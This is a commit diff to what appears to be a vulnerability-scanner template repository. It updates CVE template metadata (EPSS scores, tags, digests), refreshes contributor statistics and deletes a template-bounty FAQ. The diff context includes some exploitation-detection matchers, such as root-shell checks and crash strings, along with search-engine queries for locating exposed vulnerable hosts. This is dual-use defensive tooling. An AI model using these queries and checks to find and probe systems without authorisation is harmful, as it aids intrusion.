,{"name":"postgresql","count":46},{"name":"springboot","count":46},{"name":"aliyun","count":45},{"name":"ssl","count":45},{"name":"dashboard","count":45},{"name":"kisa","count":44},{"name":"listing","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"tls","count":43},{"name":"scada","count":43},{"name":"bank","count":42},{"name":"k8s-cluster-security","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"woocommerce","count":40},{"name":"jira","count":40},{"name":"dlink","count":40},{"name":"gitlab","count":39},{"name":"devsecops","count":39},{"name":"backup","countLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| vuln      |  6621 | dhiyaneshdk   |  2100 | http       | 10890 | info     |  4997 | file |   447 |
-| cve       |  4221 | daffainfo     |   949 | cloud      |   663 | high     |  2893 | dns  |    33 |
-| discovery |  3717 | princechaddha |   867 | file       |   447 | medium   |  2789 |      |       |
-| vkev      |  1769 | dwisiswant0   |   807 | code       |   286 | critical |  1788 |      |       |
-| wordpress |  1643 | pussycat0x    |   792 | network    |   281 | low      |   504 |      |       |
-| panel     |  1523 | ritikchaddha  |   775 | dast       |   249 | unknown  |    58 |      |       |
-| wp-plugin |  1459 | rxerium       |   644 | workflows  |   206 |          |       |      |       |
-| exposure  |  1443 | 0x_akoko      |   398 | javascript |   121 |          |       |      |       |
-| xss       |  1403 | pikpikcu      |   353 | ssl        |    38 |          |       |      |       |
-| osint     |  1131 | theamanrawat  |   336 | dns        |    30 |          |       |      |       |
+| vuln      |  7178 | dhiyaneshdk   |  2175 | http       | 11718 | info     |  5388 | file |   447 |
+| cve       |  4605 | rxerium       |   961 | cloud      |   663 | high     |  3044 | dns  |    34 |
+| discovery |  3887 | daffainfo     |   950 | file       |   447 | medium   |  2869 |      |       |
+| vkev      |  2006 | princechaddha |   872 | code       |   304 | critical |  2017 |      |       |
+| wordpress |  1750 | dwisiswant0   |   807 | network    |   287 | low      |   520 |      |       |
+| panel     |  1637 | pussycat0x    |   802 | dast       |   251 | unknown  |    59 |      |       |
+| wp-plugin |  1555 | ritikchaddha  |   789 | workflows  |   207 |          |       |      |       |
+| exposure  |  1513 | 0x_akoko      |   487 | javascript |   133 |          |       |      |       |
+| xss       |  1429 | theamanrawat  |   355 | ssl        |    39 |          |       |      |       |
+| tech      |  1219 | pikpikcu      |   353 | dns        |    31 |          |       |      |       |

Templates-Bounty-FAQ.md

@@ -1,81 +0,0 @@
-# Nuclei Templates Bounty - FAQ
-
-## What is the purpose of this bounty program?
-The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
-
-## What are the bounty ranges for template submissions?
-Bounties range from **$50 to $250**, depending on the complexity of the template and the effort required.
-
-## Where can I find bounty issues?
-Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
-
-## What is the acceptance criteria for templates?
-The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
-
-Templates must meet the following criteria:
-1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
-2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
-3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
-4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
-5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
-6. **Accurate Matchers**: Use strong matchers to avoid false positives.
-
-> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
-
-## How do I start working on a bounty issue?
-1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
-2. **Declare Work**: Comment with `/attempt #<issue_number>` to claim the issue.
-3. **Submit Work**: Submit your pull request with `/claim #<issue_number>` in the PR description when ready.
-
-## How often are new bounty issues added?
-We add new bounty issues on a **weekly basis**, so make sure to check back regularly for fresh opportunities. In the future, you can expect many more bounty issues as the program expands, allowing more opportunities for contributors to participate and earn rewards.
-
-## Can I collaborate with others?
-Yes, you can collaborate with other contributors and split rewards by commenting:
-```
-/claim #<issue_number>
-/split @contributor1
-/split @contributor2
-```
-
-## Is there a limit to how many issues I can work on?
-You can work on up to **3 issues** simultaneously.
-
-## What happens if I don’t complete an issue on time?
-Issues must be completed within **2 months**, or they will be closed.
-
-## How are rewards distributed?
-Rewards are distributed once the template is fully validated. If the issue remains unresolved for **few weeks**, the bounty may increase.
-
-## What should I include in my template submission?
-Include the following:
-> Avoid adding code templates for CVEs that can be achieved using HTTP, TCP, or JavaScript. Such templates are blocked by default and won’t produce results, so we prioritize creating templates with other protocols unless exceptions are made.
-- **Complete POC**: A working Proof of Concept.
-- **Matchers**: Multiple matchers to prevent false positives.
-- **Debug Data**: Data to assist the triage team in validation.
-- **Metadata**: Include required fields like `id`, `name`, `author`, `severity`, `description`, and `reference`.
-
-## What types of templates will be rejected?
-Templates may be rejected if they:
-- Rely solely on version detection.
-- Lack a complete POC.
-- Contain weak matchers or redundant changes to existing templates.
-
-## What should I avoid when submitting a template?
-- Avoid sharing real-world targets publicly.
-- Don’t submit templates with weak matchers.
-- Avoid unnecessary changes to existing templates.
-
-## Is there a leaderboard for contributors?
-Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
-
-## Is this program permanent?
-The bounty program is currently a test run, but we may make changes based on community feedback.
-
-## What additional rewards are available besides bounties?
-Beyond bounties, we also reward contributors with:
-- **Swag** such as t-shirts and stickers.
-- **Invites to security conferences** for standout contributors.
-- **Stickers** as a token of appreciation for all first-time contributors, regardless of the bounty.
-
-> Contributors who feel their pull request or issue was overlooked for first-time contributor stickers can ping us on our Discord for assistance: [ProjectDiscovery Discord](https://discord.com/invite/projectdiscovery).

cloud/aws/aws-code-env.yaml

@@ -9,7 +9,7 @@ info:
     - https://aws.amazon.com/cli/
   metadata:
     max-request: 2
-  tags: cloud,devops,aws,amazone,aws-cloud-config
+  tags: cloud,devops,aws,amazon,aws-cloud-config
 
 variables:
   region: "us-east-1"
@@ -52,4 +52,4 @@ code:
       - type: dsl
         dsl:
           - '"AWS CLI is properly configured for account \"" + account + "\" and all the necessary tools required are installed"'
-# digest: 4a0a00473045022052484996550fb7281548c8303d5073f5afe21282edd02f6b44327849754db470022100e00b95fbe7c0069c51b67f29380e776144f64464de6aa670a8bcf248722b0e69:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202d1c1289391a00e7c7e4717dc091d105bb40020c400002f44af89fa67ff431d202200a64b98e6e7320777442ace34db91831c6f055b4ca0cc6ccf7d0a4952075c75b:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/cves/2025/CVE-2025-1974-k8s.yaml

@@ -12,7 +12,7 @@ info:
   reference:
     - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
     - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
-  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security
+  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security,vkev
 
 flow: |
   code(1);
@@ -59,4 +59,4 @@ javascript:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a00473045022025ed151367a846d211bf074a1617a83ffb548d410c150328bf67f6ee18ac0b1802210096bcd92dbef5b968b615499daefd01e98fe26c6b6e56c6f431ec843c33379b67:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a16749044616d7fa5bef0f34b7dc0efffcd6e15a1e913779e4d7ea7e5ae880ec0221008c99c79bb10af571f216473a6b882121d5a73ea2dd9924fac43efc9c2ba1c61b:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-controller-manager-bind-address.yaml

@@ -17,7 +17,7 @@ info:
     /etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
   reference:
     - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
-    - Cloud Vulnerability Assessment Guide(2024) by KISA
+    - https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
   tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
 
 variables:
@@ -47,4 +47,4 @@ code:
       - type: dsl
         dsl:
           - '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ce3791d8485a7d4ce1ad3f055cab92b20cf7e5c57f4e47ac478e74d193b74764022013ae946bf2b897ad3c2c1dbbe7268f54f658ced43f9ca82a3edc0b77785af48f:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-scheduler-bind-address.yaml

@@ -16,7 +16,7 @@ info:
     /etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
   reference:
     - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
-    - Cloud Vulnerability Assessment Guide(2024) by KISA
+    - https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
   tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
 
 variables:
@@ -46,4 +46,4 @@ code:
       - type: dsl
         dsl:
           - '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022044867c79c6e39c0e6181e0f3339e6c915abb31d807a9b02fcec5fdac437e2d20022100dbae44977a3be1951dd85cb8bf16ab10d3372ca79a8c4616ccd2aa406a28c516:922c64590222798bb761d5b6d8e72950

code/cves/2014/CVE-2014-0160.yaml

@@ -142,4 +142,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201ff2c314c4c8207000c67249618772848dafdf609be8c63cfc46a3f709062d0c022100efe127d5604505631022ef6e7c3ce8a29445e0b9c32e5de8d983550ff8100289:922c64590222798bb761d5b6d8e72950

code/cves/2016/CVE-2016-8735.yaml

@@ -18,7 +18,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2016-8735
     epss-score: 0.90338
-    epss-percentile: 0.99783
+    epss-percentile: 0.99799
     cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
   metadata:
     shodan-query: product:"tomcat"
@@ -83,4 +83,4 @@ code:
           - 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a
+# digest: 4a0a004730450220454eeb8bf987ba4ab5c029ea128172479132728dee2ba1979b26c201ac650b44022100f695b2f06aa31969c851bfefe0a19b7b06ac19fcdde50b181197bd907efde140:922c64590222798bb761d5b6d8e72950

code/cves/2016/CVE-2016-9299.yaml

@@ -18,8 +18,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2016-9299
     cwe-id: CWE-90
-    epss-score: 0.9765
-    epss-percentile: 0.99895
+    epss-score: 0.96943
+    epss-percentile: 0.99888
     cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
   metadata:
     max-request: 1
@@ -126,4 +126,4 @@ code:
           - "contains(response,'hudson.remoting.UserRequest')"
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4a0a0047304502207b637f5099ba00f811e06315139f4690478cf826b5592dfa7fe60cadf093e500022100d86a9a540242ada4572634c5bc1cd886b98a994368c72a9ae53bbae3809b650d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220121ede394661642f08d284cffc6110695207502d120cc3ae452aeb611948a0bb0220240708e264c43a29b967444d33bade1534c0a07db12d4db979afca0aa56f28e6:922c64590222798bb761d5b6d8e72950

code/cves/2017/CVE-2017-1000353.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2017-1000353
     cwe-id: CWE-502
-    epss-score: 0.99686
-    epss-percentile: 0.99948
+    epss-score: 0.99679
+    epss-percentile: 0.9995
     cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
   metadata:
     vendor: jenkins
@@ -108,4 +108,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203727c33a8cec447cfa28d7abe98d79e5ab19560b75660d86757b15ddc736ddf3022100ee1d12dbf38026c4c65d2948e7fa5231b1b71cc0cefcb70c9bd2e9f7ca00fba6:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-0604.yaml

@@ -20,7 +20,7 @@ info:
     cve-id: CVE-2019-0604
     cwe-id: CWE-20
     epss-score: 0.99913
-    epss-percentile: 0.99966
+    epss-percentile: 0.99968
   metadata:
     verified: true
     vendor: microsoft
@@ -156,4 +156,4 @@ code:
           - 'contains(interactsh_protocol, "dns")'
           - 'contains(interactsh_request, hex_encode(marker))'
         condition: and
-# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022004775c8d5cd82057b1a17dc7c7935912e335f64b23d9925d98e8c2cd795813ff022100b472250d57bbcc9cc369c9ec332e5f2760c4ef722387b2f24412c2aedaedd3b6:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-14287.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 8.8
     cve-id: CVE-2019-14287
     cwe-id: CWE-755
-    epss-score: 0.63917
-    epss-percentile: 0.99116
+    epss-score: 0.63764
+    epss-percentile: 0.99224
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -51,4 +51,4 @@ code:
           - '!contains(code_1_response, "root")'
           - 'contains(code_2_response, "root")'
         condition: and
-# digest: 4a0a00473045022100862c33c979820da5e671dd6aa1c76b91fbf1068b5122d63bb2ea481b882e6a6f022076e29145102af6343d604b681ab5157e12584346dd3d9d55c0cf0bce28d445df:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022042cb8f7f446c6f5aba94a5d5ccd8bac63f36e915eb60ac89fe4795ba648b403802200f61bd31c84c9d6207b4ea751b8826a8c4783cf5967a3ea889e5085b669c8740:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2020-0646
     cwe-id: CWE-91
-    epss-score: 0.99193
-    epss-percentile: 0.99928
+    epss-score: 0.99222
+    epss-percentile: 0.99935
     cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
   metadata:
     verified: true
@@ -106,4 +106,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 4a0a00473045022100eccad2a4c6ba33214a2fd61af3419a0202206939988f5a9a463bc51109ed6c30022028f8883849768324cc702e391fff58786c28efdcac37e13a7df8d438b9f785ec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206987d50162e5094e8395d966e0c9994bcc274759874a0abfbdbd63eac17971d40221008a5f294f8a7fe9c8119213710c3a31344aaab72da3a5317059d7ef5047e3b591:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -14,8 +14,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2020-13935
-    epss-score: 0.87553
-    epss-percentile: 0.99733
+    epss-score: 0.86608
+    epss-percentile: 0.99741
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -281,4 +281,4 @@ code:
       - type: dsl
         dsl:
           - "contains_all(stderr, 'read tcp', 'i/o timeout') && !contains(stderr, 'websocket: close 1002 (protocol error): An invalid WebSocket frame was received - the most significant bit of a 64-bit payload was illegally set')"
-# digest: 490a0046304402201cc078bbe522c2e7e65046d1f57942c4416e145f327b671423c69f8cee335a03022076c19957a2a9ac877638982a59b80c38c454d390ab213de628db7bffb7a402e9:62279eae9ebf191e34eae847adfdbab2
+# digest: 4a0a004730450220696297a8c200dce0b67dbde81631b9fba28969813b1eb1328ce0b283ab86e91c022100d9491149f8271b9f417b426cf07b99dc92804a61844c6e77fc073f1a51bf4336:922c64590222798bb761d5b6d8e72950

code/cves/2021/CVE-2021-3156.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
-    epss-score: 0.99305
-    epss-percentile: 0.99932
+    epss-score: 0.99962
+    epss-percentile: 0.99975
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -44,4 +44,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 4a0a00473045022100ee4e55ec161ffc129a270143f04a42df08c773ad1dee1f17e695898c2dec4d2602204850eb20f8c6bb40413d58787b9fd0a6d535b2123b3184d1eb7eb7d51d37a6a1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f8b6b3dbad47f66af5e3a10b6ce02164ad35bc0683cdf1aefadc6bfb2107efc502205939d83ced077fdc70296b73e4c840a2fd2f1c2e4cb8fbb1dec6ff7b5953f9ee:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -25,7 +25,7 @@ info:
     cve-id: CVE-2022-42475
     cwe-id: CWE-197,CWE-787
     epss-score: 0.99474
-    epss-percentile: 0.99938
+    epss-percentile: 0.99943
     cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -38,7 +38,7 @@ info:
     fofa-query:
       - body="/remote/login" "xxxxxxxx"
       - icon_hash="945408572"
-  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
+  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,intrusive,kev,vkev,vuln
 
 flow: http () && code()
 
@@ -287,4 +287,4 @@ code:
       - type: word
         words:
           - "Target appears to be VULNERABLE"
-# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d8303a34225defa7b3e1a4f92c0465c9388f259e9ea7186311aa082b7714de6402200821c12a61e3f63c1124ebe72b00e885809f24cd161c28999d1c35b358377dd7:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2640.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-2640
     cwe-id: CWE-863
-    epss-score: 0.15783
-    epss-percentile: 0.9644
+    epss-score: 0.15199
+    epss-percentile: 0.96768
     cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -55,4 +55,4 @@ code:
           - '!contains(code_1_response, "(root)")'
           - 'contains(code_2_response, "(root)")'
         condition: and
-# digest: 4a0a0047304502203333984815b318e410130599dc95a35867db3a3aa461ee6cd7ef881c93c3b0a4022100f80c7e8f3b640b4a2cc5599e24454eb8ab7e3aa95f163bf5d5e542437240cf37:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022023b91fa6a74d9c94a74cc478b034e94cb1a095d95850ee8645efa7bd054c046802200e66b65e44febb56f37a5d50d08c22fd1f7af608cfbe5b3a73f967d3d8c8903f:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -20,8 +20,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.43502
-    epss-percentile: 0.98566
+    epss-score: 0.42544
+    epss-percentile: 0.98714
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -630,4 +630,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4a0a00473045022100d44b82b24949e445f9ef95d784511c23dc949334a5f6ec3cbe9bc93f57c4479402201063c60bf8b35702a0c160fc6d41fb72ca1464709099ec1cb69b9f38c0dfd8d9:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220091a8f7719c84fc4f307288d55d3bd8b7356192225b0d296fcfc1a7a2a0de1da0220080d618002fbf507a04a7ec8e986379d81e9e0930857df83732a2fbe2861d9cc:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
-    epss-score: 0.11074
-    epss-percentile: 0.95342
+    epss-score: 0.4319
+    epss-percentile: 0.98729
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -33,7 +33,7 @@ info:
       - http.title:"owncloud"
     fofa-query: title="owncloud"
     google-query: intitle:"owncloud"
-  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
+  tags: cve,cve2023,code,owncloud,auth-bypass,vuln,vkev,kev
 variables:
   username: admin
 
@@ -94,4 +94,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 4a0a00473045022100e7b4a4159546dcb2b775332e1e5ef4ce5838b4d54eaf27d213e51558f794de1d02206655c6f38b27182b978a052987e1eea84fc28080383b1f36b16a5169523fe494:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dc9e0e457e470228ea6f0d2820849dbb2bc2861735cfa8a637407f791086faa7022100a38f024d8c71a47e01ffba52739cc63985f1721e4f9085cd9deb4309f37df5a4:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.78607
-    epss-percentile: 0.99531
+    epss-score: 0.63769
+    epss-percentile: 0.99224
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -43,4 +43,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 4b0a00483046022100cba4cca73b652cb669d0d965a68f7015cc8feb57ed1b7eb06dc40d637ffc3809022100a66494ef3a7216d410db02e8950193fff10ad5226cdf5cfd02e9558858eec8ec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203600061731c27a0d00d96447d8627a4763e2421b1983f477785d8a82870a9e3302210083cfcd084ad5eb4c90436a30e814b13ada0b9db95e63315f7ce023d539858a9d:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
     epss-score: 0.04794
-    epss-percentile: 0.90767
+    epss-percentile: 0.9198
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -43,4 +43,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 490a004630440220498b9433cb61824e672e5041cce79d4256b370eb11dd8e04826ba71a7915628e02203fbea5e0b05053ddcf6bbd6292a23d308513fadc96aaa4339688bd0999160024:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220626ff5205ba30f80e9387468d8c236caea91c49603b52ce58b839769f9f954c5022100e1cc9452ac274085b72894058fc83a2a8b577f358e441d9bb911323f9ae9432d:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.2838
-    epss-percentile: 0.97869
+    epss-score: 0.28525
+    epss-percentile: 0.98141
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
     verified: true
@@ -58,4 +58,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 490a0046304402201fa60c5b62627fd2433f377c8251391948328cb5e7bf091d4a4a9c4af4e1fc53022019dca1fcf722b5251193fc3a576f724f818ae809ffd8822e1c9dcb0986b00d57:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200178fcf30296d58b913ed1eabfafaa298a704a180cd8cfbb38abfb0d282d26000221008afd5882cb0f42b22475d544a254c787f531076b59310c06cef5fc4743b5e56d:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-12356.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-12356
     cwe-id: CWE-77
-    epss-score: 0.87991
-    epss-percentile: 0.99744
+    epss-score: 0.87432
+    epss-percentile: 0.99758
     cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
   metadata:
     vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
         words:
           - "0 success"
           - "1 try again later"
-# digest: 4b0a00483046022100dad53e71d898efe278cb96c7a8f916c7df5127bd1624470107bc47d2f4076931022100e15e551bcc537c2db9e5e06c00b5ed6a5507fb11fdacb7b37bbf32440e82a8a5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012aad26b17b7d701519b30081ed555fc8f768cecc2c4eccca9964a9c02a4e205022100e7da17fa8eefe48cdf6d1ecfca3e393ba6d63983624eaf32e24ac80553f67c82:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-22120.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2024-22120
     cwe-id: CWE-20
     epss-score: 0.76618
-    epss-percentile: 0.99482
+    epss-percentile: 0.99546
   metadata:
     max-request: 1
     vendor: zabbix
@@ -73,4 +73,4 @@ code:
       - type: word
         words:
           - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a0047304502203576be7739fdb9579a1b98db6f01e71faf05c2a06613361d75e8d758db91b16e022100a6b782317a7adc049697348ce6c70cb9dd7ac7e577ff6f5078e84d50cd373766:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100974267b7102d5d734c8d82fbce57b5c0c9a0643159a57608245b2ca8695a6a96022100ebfbac6bf943675bce99c9f46da934487cddf6bac5dc2cad50405990e417656c:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 10
     cve-id: CVE-2024-3094
     cwe-id: CWE-506
-    epss-score: 0.85974
-    epss-percentile: 0.99701
+    epss-score: 0.909
+    epss-percentile: 0.99807
     cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -63,4 +63,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a00473045022100e42f9961307ebb7e14fb84d95bfd05a1c736f138a474bbc3bff61ee7689d22e702206b6281fbea55480b1c839a60e19cefed3febc19725b306745ebc1284274b0cbc:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201974ed80358079eb51a0f9142de525fc6f0fa11b831eb7e025152a4116250912022071e15d76d3f080c5c3d3aaa6b30ccbb3e0a61ba60c26f12e3d546a795aaf233a:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-4340.yaml

@@ -14,8 +14,8 @@ info:
